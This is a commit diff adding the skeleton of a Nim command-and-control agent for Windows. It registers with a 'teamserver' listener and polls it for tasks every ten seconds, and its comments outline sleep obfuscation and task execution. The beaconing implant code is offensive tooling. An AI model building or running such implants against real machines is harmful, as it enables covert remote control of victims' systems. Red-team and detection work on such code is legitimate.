Added monarch agent

agents/monarch/client.nim

@@ -0,0 +1,40 @@
+import strformat, os, times
+import winim
+
+import ./[types, http]
+import commands/shell
+
+proc main() = 
+
+    #[
+        The process is the following:
+        1. Agent reads configuration file, which contains data relevant to the listener, such as IP, PORT, UUID and sleep settings
+        2. Agent collects information relevant for the registration (using Windows API)
+        3. Agent registers to the teamserver 
+        4. Agent moves into an infinite loop, which is only exited when the agent is tasked to terminate
+    ]#  
+
+    let listener = "NVIACCXB"
+    let agent = register(listener)
+    echo fmt"[+] [{agent}] Agent registered."
+
+    #[
+        Infinite Routine: 
+        1. Sleep Obfuscation
+        2. Retrieve task from /tasks endpoint
+        3. Execute task and post result to /results
+        4. If additional tasks have been fetched, go to 2.
+        5. If no more tasks need to be executed, go to 1. 
+    ]#
+    while true: 
+
+        sleep(10 * 1000)
+
+        let date: string = now().format("dd-MM-yyyy HH:mm:ss")
+        echo fmt"[{date}] Checking for tasks..."
+
+        discard getTasks(listener, agent)
+
+
+when isMainModule: 
+    main()